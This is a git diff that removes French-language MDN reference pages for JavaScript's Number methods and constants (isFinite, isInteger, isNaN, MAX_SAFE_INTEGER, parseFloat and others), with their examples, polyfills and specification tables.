{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7', 'Number')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-number-objects', 'Number')}}{{Spec2('ES6')}}Ajout des méthodes et propriétés suivantes : ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}})
{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html b/files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html deleted file mode 100644 index 953e9d8958..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/isfinite/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Number.isFinite() -slug: Web/JavaScript/Reference/Objets_globaux/Number/isFinite -tags: - - ECMAScript6 - - JavaScript - - Méthode - - Number - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite ---- -
{{JSRef}}
- -

La méthode Number.isFinite() permet de déterminer si la valeur fournie est un nombre fini.

- -
{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}
- - - -

Syntaxe

- -
Number.isFinite(valeurÀTester);
- -

Paramètres

- -
-
valeurÀTester
-
La valeur dont on souhaite savoir si elle est finie.
-
- -

Valeur de retour

- -

Un booléen indiquant si la valeur passée en argument est un nombre fini.

- -

Description

- -

Par rapport à la fonction de l'objet global {{jsxref("isFinite","isFinite()")}} qui convertit l'argument donné en un nombre, la fonction Number.isFinite ne convertit pas l'argument et ne renvoie pas true.

- -

Exemples

- -
Number.isFinite(Infinity);  // false
-Number.isFinite(NaN);       // false
-Number.isFinite(-Infinity); // false
-
-Number.isFinite(0);         // true
-Number.isFinite(2e64);      // true
-
-Number.isFinite("0");       // false, ce qui aurait
-                            // renvoyé true avec isFinite("0")
-
-Number.isFinite(null);      // false, ce qui aurait
-                            // renvoyé true avc isFinite(null)
-
- -

Prothèse d'émulation (polyfill)

- -
// Number.isFinite polyfill
-// http://people.mozilla.org/~jorendorff/es6-draft.html#sec-number.isfinite
-if (typeof Number.isFinite !== 'function') {
-    Number.isFinite = function isFinite(value) {
-        // 1. Si Type(number) n'est pas Number, on renvoie false.
-        if (typeof value !== 'number') {
-            return false;
-        }
-        // 2. Si le nombre est NaN, +∞, ou −∞, on renvoie false.
-        if (value !== value || value === Infinity || value === -Infinity) {
-            return false;
-        }
-        // 3. Sinon on renvoie true.
-        return true;
-    };
-}
-
- -

Deuxième version plus concise qui utilise la méthode globale isFinite

- -
if (Number.isFinite === undefined) Number.isFinite = function(value) {
-    return typeof value === "number" && isFinite(value);
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.isFinite")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Number")}} auquel appartient cette méthode
    • -
  • La méthode {{jsxref("isFinite", "isFinite()")}} de l'objet global
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html b/files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html deleted file mode 100644 index 447c80ede2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/isinteger/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Number.isInteger() -slug: Web/JavaScript/Reference/Objets_globaux/Number/isInteger -tags: - - JavaScript - - Méthode - - Number - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger ---- -
{{JSRef}}
- -

La méthode Number.isInteger() permet de déterminer si l'argument est un nombre entier.

- -
{{EmbedInteractiveExample("pages/js/number-isinteger.html")}}
- - - -

Syntaxe

- -
Number.isInteger(valeurÀTester)
- -

Paramètres

- -
-
valeurÀTester
-
La valeur dont on souhaite savoir si elle est entière ou non.
-
- -

Valeur de retour

- -

Un booléen qui indique si la valeur fournie en argument est un entier.

- -

Description

- -

Si la valeur à tester est un entier, cette méthode renvoie true, false sinon. Si la valeur est {{jsxref("NaN")}} ou l'infini ({{jsxref("Infinity")}}), la méthode renverra false. La méthode renverra également true pour les nombres flottants qui peuvent être représentés comme des entiers.

- -

Exemples

- -
Number.isInteger(1);         // true
-Number.isInteger(-100000);   // true
-Number.isInteger(0);         // true
-Number.isInteger(1.000)      // true
-// Number.isInteger(9…9999); // true, même si le nombre dépasse 32 bits
-
-Number.isInteger(0.1);       // false
-Number.isInteger(Math.PI);   // false
-
-Number.isInteger(-Infinity); // false
-Number.isInteger(true);      // false
-Number.isInteger(NaN);       // false
-Number.isInteger("10");      // false
-
-Number.isInteger(5.0);       // true
-Number.isInteger(5.000000000000001);// false
-Number.isInteger(5.0000000000000001); // true
-
- -

Prothèse d'émulation (polyfill)

- -
Number.isInteger = Number.isInteger || function(value) {
-    return typeof value === "number" &&
-           isFinite(value) &&
-           Math.floor(value) === value;
-};
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.isInteger")}}

- -

Voir aussi

- -
    -
  • L'objet global {{jsxref("Number")}} auquel appartient cette méthode.
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html b/files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html deleted file mode 100644 index 5915747056..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/isnan/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Number.isNaN() -slug: Web/JavaScript/Reference/Objets_globaux/Number/isNaN -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Number - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN ---- -
{{JSRef}}
- -

La méthode Number.isNaN() permet de déterminer si la valeur passée en argument est {{jsxref("NaN")}}, avec un type {{jsxref("Number")}}. Cette version est plus robuste que la méthode de l'objet global {{jsxref("isNaN")}}.

- -
{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}
- - - -

Syntaxe

- -
Number.isNaN(valeurÀTester)
- -

Paramètres

- -
-
valeurÀTester
-
La valeur qu'on souhaite comparer à {{jsxref("NaN")}}.
-
- -

Valeur de retour

- -

Un booléen qui indique si la valeur fournie en argument est {{jsxref("NaN")}}.

- -

Description

- -

Les deux opérateurs d'égalité, {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}} et {{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)")}}, renvoient false pour vérifier que {{jsxref("NaN")}} est NaN. La fonction Number.isNaN est nécessaire pour distinguer ce cas. Le résultat de cette comparaison sera différent avec les autres méthodes de comparaisons en JavaScript.

- -

En effet, la fonction globale {{jsxref("isNaN")}} convertit l'argument en un nombre.  Number.isNaN ne convertit pas l'argument. Cela signifie qu'on peut passer des valeurs qui, normalement, seraient converties en NaN, mais qui ne sont pas NaN. Cela signifie également que, uniquement lorsque la méthode sera utilisée avec des nombres qui valent NaN, elle renverra true.

- -

Exemples

- -
Number.isNaN(NaN); // true
-Number.isNaN(Number.NaN); // true
-Number.isNaN(0 / 0); // true
-
-// tout le reste renverra : false
-Number.isNaN(undefined);
-Number.isNaN({});
-
-Number.isNaN(true);
-Number.isNaN(null);
-Number.isNaN(37);
-
-Number.isNaN("37");
-Number.isNaN("37.37");
-Number.isNaN("");
-Number.isNaN(" ");
-Number.isNaN("NaN");
-Number.isNaN("blabla"); // ex : cette valeur aurait rendu true avec la méthode isNaN de l'objet global
- -

Prothèse d'émulation (polyfill)

- -

La fonction suivant fonctionne car NaN est la seule valeur JavaScript qui n'est pas égale à elle-même.

- -
Number.isNaN = Number.isNaN || function(value) {
-    return typeof value === "number" && isNaN(value);
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.isNaN")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Number")}} auquel appartient cette méthode.
    • -
  • La méthode {{jsxref("Objets_globaux/Object/is", "Object.is")}} qui permet d'effectuer des comparaisons sur l'égalité de valeur
    • -
  • La méthode {{jsxref("isNaN")}} de l'objet global
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html b/files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html deleted file mode 100644 index 3aa5accb87..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/issafeinteger/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Number.isSafeInteger() -slug: Web/JavaScript/Reference/Objets_globaux/Number/isSafeInteger -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Number - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger ---- -
{{JSRef}}
- -

La méthode Number.isSafeInteger() permet de déterminer si la valeur, passée en argument, est un entier représentable correctement en JavaScript (c'est-à-dire un nombre compris entre -(253 -1) et 253 -1).

- -
{{EmbedInteractiveExample("pages/js/number-issafeinteger.html")}}
- - - -
-

Note : Pour représenter des entiers qui ne sont pas compris dans cet intervalle, on pourra utiliser le type {{jsxref("BigInt")}}.

-
- -

Syntaxe

- -
Number.isSafeInteger(valeurÀTester)
- -

Paramètres

- -
-
valeurÀTester
-
La valeur dont on souhaite savoir si elle représente un entier représentable correctement en une valeur non signée sur 32 bits. (JavaScript utilise les nombres au format de virgule flottante à double précision comme spécifié dans IEEE 754 et ne peut représenter avec certitude un entier qu'entre -(253-1) et 253 -1 (c'est-à-dire ± 9007199254740991).
-
- -

Valeur de retour

- -

Un booléen qui indique si la valeur fournie en argument est un entier représentable correctement en JavaScript.

- -

Description

- -

Un entier correctement représentable en JavaScript :

- -
    -
  • peut exactement être représenté avec un nombre à précision double selon IEEE-754
    • -
  • la réprésentation IEEE-754 du nombre ne permet pas de l'arrondir à un autre entier pouvant être représenté avec le format décrit par IEEE-754.
    • -
- -

Ainsi, par exemple, 253 - 1 peut être représenté correctement, aucun autre entier ne peut être arrondi en cette valeur selon IEEE-754. En revanche, 253 ne peut pas être représenté correctement car 253 + 1 sera arrondi en 253 selon les règles IEEE-754 (arrondi à l'entier le plus proche).

- -

L'intervalle des entiers qui peuvent être correctement représentés est [-(253 - 1),253 - 1 ].

- -

Exemples

- -
Number.isSafeInteger(3);                    // true
-Number.isSafeInteger(Math.pow(2, 53))       // false
-Number.isSafeInteger(Math.pow(2, 53) - 1)   // true
-Number.isSafeInteger(NaN);                  // false
-Number.isSafeInteger(Infinity);             // false
-Number.isSafeInteger("3");                  // false
-Number.isSafeInteger(3.1);                  // false
-Number.isSafeInteger(3.0);                  // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.issafeinteger', 'Number.isSafeInteger')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.isSafeInteger")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Number")}} auquel appartient cette méthode
    • -
  • {{jsxref("Number.MIN_SAFE_INTEGER")}}
    • -
  • {{jsxref("Number.MAX_SAFE_INTEGER")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html b/files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html deleted file mode 100644 index 7266e8d4ae..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/max_safe_integer/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Number.MAX_SAFE_INTEGER -slug: Web/JavaScript/Reference/Objets_globaux/Number/MAX_SAFE_INTEGER -tags: - - ECMAScript 2015 - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER ---- -
{{JSRef}}
- -

La constante Number.MAX_SAFE_INTEGER représente la valeur (sûre) maximale d’un nombre entier en JavaScript (253 -1).

- -
-

Note : Pour représenter des entiers supérieurs à cette valeur, on pourra utiliser le type {{jsxref("BigInt")}}.

-
- -
{{EmbedInteractiveExample("pages/js/number-maxsafeinteger.html")}}
- - - -

{{js_property_attributes(0,0,0)}}

- -

Description

- -

La constante MAX_SAFE_INTEGER a une valeur de 9007199254740991. Cette valeur s'explique par le fait que JavaScript utilise les nombres au format de virgule flottante à double précision comme spécifié dans IEEE 754 et ne peut représenter avec certitude qu’un nombre entre -(253-1) et 253 -1.

- -

Dans ce contexte, « sûr » fait référence à la capacité à représenter exactement les entiers et à les comparer entre eux. Par exemple, Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2 vaudra true ce qui est mathématiquement incorrect. Pour plus d'informations, voir également {{jsxref("Number.isSafeInteger()")}}.

- -

MAX_SAFE_INTEGER est une propriété statique de {{jsxref("Number")}}, elle doit toujours être utilisée comme Number.MAX_SAFE_INTEGER et non pas comme la propriété d'un objet Number qui aurait été instancié.

- -

Exemples

- -
Number.MAX_SAFE_INTEGER // 9007199254740991
-Math.pow(2, 53) -1      // 9007199254740991
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-number.max_safe_integer', 'Number.MAX_SAFE_INTEGER')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.MAX_SAFE_INTEGER")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.MIN_SAFE_INTEGER")}}
    • -
  • {{jsxref("Number.isSafeInteger()")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html b/files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html deleted file mode 100644 index 405b3da898..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/max_value/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Number.MAX_VALUE -slug: Web/JavaScript/Reference/Objets_globaux/Number/MAX_VALUE -tags: - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE ---- -
{{JSRef}}
- -

La propriété Number.MAX_VALUE représente la valeur maximale qui peut être représentée par un nombre en JavaScript.

- -
{{EmbedInteractiveExample("pages/js/number-maxvalue.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

La propriété statique MAX_VALUE vaut environ 1.79E+308 (soit 21024). Les valeurs supérieures à MAX_VALUE sont représentées par {{jsxref("Infinity")}} (pour l'infini).

- -

MAX_VALUE est une propriété statique de {{jsxref("Number")}}, il faut donc l'utiliser avec Number.MAX_VALUE, plutôt qu'en faisant appel à la propriété d'un objet Number qui aurait été instancié (si on appelle cette propriété sur l'objet Number créé, on obtiendra {{jsxref("undefined")}}).

- -

Exemples

- -

Le code suivant teste si le produit de deux nombres est inférieur ou égal à MAX_VALUE, selon le résultat de ce test, soit on utilisera func1, soit on utilisera func2.

- -
if (num1 * num2 <= Number.MAX_VALUE) {
-   func1();
-} else {
-   func2();
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.MAX_VALUE")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.MIN_VALUE")}}
    • -
  • {{jsxref("Number")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html b/files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html deleted file mode 100644 index 8f19b905d2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/min_safe_integer/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Number.MIN_SAFE_INTEGER -slug: Web/JavaScript/Reference/Objets_globaux/Number/MIN_SAFE_INTEGER -tags: - - ECMAScript 2015 - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER ---- -
{{JSRef}}
- -

La constante Number.MIN_SAFE_INTEGER représente le plus petit entier représentable correctement en JavaScript (-(253 -1)).

- -
-

Note : Pour représenter des entiers inférieurs à cette valeur, on pourra utiliser le type {{jsxref("BigInt")}}.

-
- -
{{EmbedInteractiveExample("pages/js/number-min-safe-integer.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

La constante MIN_SAFE_INTEGER vaut -9007199254740991. Cette valeur provient du fait qu'en JavaScript, les nombres sont représentés en format à double précision selon la norme IEEE 754 et on ne peut représenter correctement que les nombres compris entre -(253-1) et 253 -1. Voir {{jsxref("Number.isSafeInteger()")}} pour plus d'informations.

- -

MIN_SAFE_INTEGER étant une méthode statique de {{jsxref("Number")}}, il faut utiliser Number.MIN_SAFE_INTEGER()et non pas la méthode d'un objet Number qui aurait été instancié.

- -

Exemples

- -
Number.MIN_SAFE_INTEGER // -9007199254740991
--Math.pow(2, 53) -1     // -9007199254740991
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.min_safe_integer', 'Number.MIN_SAFE_INTEGER')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.MIN_SAFE_INTEGER")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.MAX_SAFE_INTEGER")}}
    • -
  • {{jsxref("Number.isSafeInteger()")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html b/files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html deleted file mode 100644 index 4a70b026d9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/min_value/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Number.MIN_VALUE -slug: Web/JavaScript/Reference/Objets_globaux/Number/MIN_VALUE -tags: - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE ---- -
{{JSRef}}
- -

La propriété Number.MIN_VALUE représente la plus petite valeur numérique positive qu'il est possible de représenter en JavaScript.

- -
{{EmbedInteractiveExample("pages/js/number-min-value.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

La propriété MIN_VALUE représente le nombre positif le plus proche de 0 et non pas le nombre négatif minimal qu'il est possible de représenter en JavaScript.

- -

MIN_VALUE vaut environ 5e-324. Les valeurs inférieures à MIN_VALUE sont converties en 0.

- -

MIN_VALUE est une propriété statique de {{jsxref("Number")}} et doit donc être utilisée avec la syntaxe Number.MIN_VALUE, et non pas via la propriété d'un objet Number qui aurait été instancié.

- -

Exemples

- -

Le code qui suit effectue la division de deux nombres. Si le résultat obtenu est supérieur ou égal à MIN_VALUE, la fonction func1 sera appelée, sinon la fonction func2 sera utilisée.

- -
if (num1 / num2 >= Number.MIN_VALUE) {
-    func1();
-} else {
-    func2();
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1
{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.MIN_VALUE")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.MAX_VALUE")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/nan/index.html b/files/fr/web/javascript/reference/objets_globaux/number/nan/index.html deleted file mode 100644 index 71f705c9cc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/nan/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Number.NaN -slug: Web/JavaScript/Reference/Objets_globaux/Number/NaN -tags: - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN ---- -
{{JSRef}}
- -

La propriété Number.NaN représente une valeur qui n'est pas un nombre (en anglais « Not-A-Number » qui donne NaN). Elle est équivalente à {{jsxref("NaN")}}.

- -
{{EmbedInteractiveExample("pages/js/number-nan.html")}}
- -

Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder à cette propriété statique. Il suffit d'utiliser directement Number.NaN.

- -

{{js_property_attributes(0,0,0)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.NaN")}}

- -

Voir aussi

- -
    -
  • L'objet global {{jsxref("NaN")}} ;
    • -
  • L'objet {{jsxref("Number")}} auquel appartient cette propriété.
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html b/files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html deleted file mode 100644 index 5676e99d27..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/negative_infinity/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Number.NEGATIVE_INFINITY -slug: Web/JavaScript/Reference/Objets_globaux/Number/NEGATIVE_INFINITY -tags: - - JavaScript - - Number - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY ---- -
{{JSRef}}
- -

La propriété Number.NEGATIVE_INFINITY représente l'infini négatif.

- -
{{EmbedInteractiveExample("pages/js/number-negative-infinity.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

La valeur de Number.NEGATIVE_INFINITY est égale à l'opposé de la valeur fournie par la propriété {{jsxref("Infinity")}} de l'objet global.

- -

Cette valeur se comporte différemment de l'infini mathématique :

- -
    -
  • Toute valeur positive, y compris {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, multipliée par NEGATIVE_INFINITY sera égale à NEGATIVE_INFINITY.
    • -
  • Toute valeur négative, y compris NEGATIVE_INFINITY, multipliée par NEGATIVE_INFINITY sera égale à POSITIVE_INFINITY.
    • -
  • Zéro multiplié par NEGATIVE_INFINITY sera égal à {{jsxref("NaN")}}.
    • -
  • NaN multiplié par NEGATIVE_INFINITY sera égal à NaN.
    • -
  • NEGATIVE_INFINITY, divisé par n'importe quelle valeur négative, à l'exception de  NEGATIVE_INFINITY, sera égal à POSITIVE_INFINITY.
    • -
  • NEGATIVE_INFINITY, divisé par n'importe quelle valeur positive à l'exception de  POSITIVE_INFINITY, sera égal à NEGATIVE_INFINITY.
    • -
  • NEGATIVE_INFINITY, divisé par NEGATIVE_INFINITY ou POSITIVE_INFINITY, sera égal à NaN.
    • -
  • Tout nombre positif divisé par NEGATIVE_INFINITY sera égal au zéro négatif.
    • -
  • Tout nombre négatif divisé par NEGATIVE_INFINITY sera égal au zéro positif.
    • -
- -

La propriété Number.NEGATIVE_INFINITY peut être utilisée pour indiquer une erreur sur un test renvoyant normalement un nombre fini. On notera cependant que la méthode {{jsxref("isFinite")}} est plus pertinente dans ce cas.

- -

Number.NEGATIVE_INFINITY est une propriété statique de {{jsxref("Number")}} et on utilisera directement Number.NEGATIVE_INFINITY plutôt que comme une propriété d'un objet (instance) {{jsxref("Number")}}.

- -

Exemples

- -

Dans l'exemple qui suit, on affecte une variable inférieure à la valeur numérique minimale à la variable petitNombre. Lorsque l'instruction conditionnelle if est exécutée, petitNombre possède la valeur "-Infinity", on modifie donc la valeur de petitNombre afin qu'il puisse être géré.

- -
var petitNombre = (-Number.MAX_VALUE) * 2
-
-if (petitNombre === Number.NEGATIVE_INFINITY) {
- petitNombre = renvoyerUneValeurFinie();
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.NEGATIVE_INFINITY")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number.POSITIVE_INFINITY")}}
    • -
  • {{jsxref("Number.isFinite()")}}
    • -
  • {{jsxref("Infinity", "Infinity")}}
    • -
  • {{jsxref("isFinite", "isFinite()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html b/files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html deleted file mode 100644 index 85059f92a3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/parsefloat/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Number.parseFloat() -slug: Web/JavaScript/Reference/Objets_globaux/Number/parseFloat -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Number - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number/parseFloat ---- -
{{JSRef}}
- -

La méthode Number.parseFloat() analyse et convertit une chaîne de caractères en un nombre flottant. Cette méthode possède un comportement identique à {{jsxref("parseFloat")}} et fait partie d'ECMAScript 2015 (dans le but de « modulariser » les méthodes globales).

- -
{{EmbedInteractiveExample("pages/js/number-parsefloat.html")}}
- - - -

Syntaxe

- -
Number.parseFloat(chaîne)
- -

Paramètres

- -
-
chaîne
-
Une chaîne de caractères qu'on souhaite convertir en nombre flottant.
-
- -

Valeur de retour

- -

Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère de la chaîne ne peut pas être converti en un nombre, la  valeur {{jsxref("NaN")}} sera renvoyée.

- -

Description

- -

Cette méthode possède les mêmes fonctionnalités que la fonction globale {{jsxref("parseFloat", "parseFloat()")}} :

- -
Number.parseFloat === parseFloat; // true
-
- -

Cette méthode fait partie d'ECMAScript 2015 et notamment de la modularisation de certaines fonctions globales. Pour plus de détails et d'exemples, voir {{jsxref("parseFloat", "parseFloat()")}}.

- -

Prothèse d'émulation (polyfill)

- -
if (Number.parseFloat === undefined) {
-    Number.parseFloat = parseFloat;
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.parseFloat")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Number")}} auquel appartient cette fonction.
    • -
  • La méthode globale {{jsxref("parseFloat")}}.
    • -
